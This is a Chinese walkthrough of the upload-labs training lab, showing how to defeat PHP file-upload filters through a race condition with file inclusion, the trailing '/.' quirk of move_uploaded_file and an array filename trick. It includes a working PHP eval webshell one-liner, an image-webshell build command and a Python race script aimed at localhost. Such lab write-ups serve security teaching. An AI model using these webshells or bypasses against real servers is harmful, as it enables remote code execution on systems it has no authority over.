该关源码有问题,导致上传的图片不在 upload 文件夹下面,参照如下修改 myupload.php 让图片上传到 upload 文件夹下
查看源码,服务器先是将文件后缀跟白名单做了对比,然后检查了文件大小及文件是否已存在,文件上传之后又对其进行了重命名
那么就不能上传PHP文件了,考虑上传图片马,并且要在其被重命名之前访问它
由于图片马不能直接执行,所以需要配合文件包含漏洞或Apache解析漏洞
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}
//myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){
$ret = $this->isUploadedFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// if flag to check if the file exists is set to 1
if( $this->cls_file_exists == 1 ){
$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, we are ready to move the file to destination
$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// check if we need to rename the file
if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, everything worked as planned :)
return $this->resultUpload( "SUCCESS" );
}
......
......
......
};
绕过流程
webshell.php 为如下内容,意思也是一样,用于生成一个一句话木马 1.php
<?php fputs(fopen('1.php','w'),'<?php @eval($_POST["x"])?>');?>
制作图片马 webshell.jpg 并上传,通过 burpsuite 抓包拦截,发送给 Intruder 模块
copy 1.jpg/b + webshell.php webshell.jpg
编写一个Python脚本,同样用于请求 webshell.jpg,但是图片马无法直接解析执行生成 1.php
需要配合文件包含漏洞或Apache解析漏洞,所以和上一关有所差异
这里我以结合文件包含漏洞为例
import requests
url = "http://localhost/upload-labs/include.php?file=upload/webshell.jpg"
while True:
html = requests.get(url)
if ( 'Warning' not in str(html.text)):
print('ok')
break
启动该Python脚本后,在 burpsuite 点击开始攻击,出现 OK 表明访问并解析 webshell.jpg,并成功创建了一句话木马 1.php,不再赘述
0x20 move_uploaded_file() 忽略 /.
本关页面有所不同,多了一个保存名称可以填写
查看提示,服务器取文件名通过 $_POST[‘save_name’] 来获取,而 save_name 也就是我们填写的 “保存名称”,是可控的
可以看到服务器只对 save_name 进行黑名单过滤,没有对上传的文件做任何判断
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
绕过方式 1
由于服务器只对 save_name 进行黑名单过滤,没有对上传的文件做任何判断,
所以直接上传 webshell.php 都可以,但最终会被命名为 upload-19.jpg,可以结合文件包含漏洞利用
绕过方式 2
由于 move_uploaded_file() 的特性,会忽略掉文件末尾的 /.
所以我们上传 webshell.php,然后使用 burpsuite 抓包将 save_name 从 upload-19.jpg 修改为 upload-19.php/.
上传成功后,复制图片链接访问,使用 hackbar 插件执行 phpinfo();
绕过方式 3
由于只黑名单检查 save_name 后缀,所以可以利用 Windows 特性如 “空格” 或者 “点” 进行绕过(绕过方式很多,参考前面)
0x21 数组绕过
查看提示,本关来自 CTF 竞赛题,需要进行代码审计
参考这篇文章
检查流程如下
1.检查上传文件是否为空 if(!empty($_FILES['upload_file']))
2.检查 MIME if(!in_array($_FILES['upload_file']['type'],$allow_type))
3.获取文件对象并判断是否为数组,若不是则以 "点" 拆分为数组 $file = explode('.', strtolower($file));
4.获取文件后缀 $ext = end($file); 并检查后缀名 if (!in_array($ext, $allow_suffix))
5.将数组 $file 的第一个元素、点、第 n-1 个元素拼接起来,传给 $file_name
6.定义 $img_path = UPLOAD_PATH . '/' .$file_name; $temp_file = $_FILES['upload_file']['tmp_name'];
7.上传文件 if (move_uploaded_file($temp_file, $img_path))
问题所在:
假设获取到的文件对象不为数组,那么就要以 "点" 拆分为数组,这样一来,到第五步的时候便出现了问题。
因为 end($file) 和 $file[count($file) - 1] 所返回的元素在特殊情况下,可能并不相同
比如我们传入 $file[0] = 'webshell.php/' 和 $file[2] = 'png',没有定义 $file[1],那么它为空
那么总的 count($file) 返回的值为2
这时 end($file) 返回 $file[2] 的值,而 $file[count($file) - 1] 返回 $file[1] 的值
源码如下
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
绕过方式
1.传入 $file[0] = 'webshell.php/' 和 $file[2] = 'png',不定义 $file[1],其为空,数组总元素个数为2
2.后缀名检测时,end($file)返回值为'png',得以绕过
3.拼接 $file_name 时,reset($file)返回'webshell.php/',$file[count($file) - 1]返回$file[1],即为空
所以$file_name整个等于'webshell.php/.'
4.由于move_upload_file函数特性,忽略 /. 得以绕过
PS: 这里也可以传$file[0] = 'webshell.php',最后$file_name整个等于'webshell.php.',利用Windows特性绕过
绕过流程
上传 webshell.php 使用 burpsuite 抓包
修改 Content-Type 为 image/png,分别传入$file[0] 和 $file[2] 的值,然后发包即可
上传成功,复制其链接(需要去掉后面的点),使用 hackbar 插件执行 phpinfo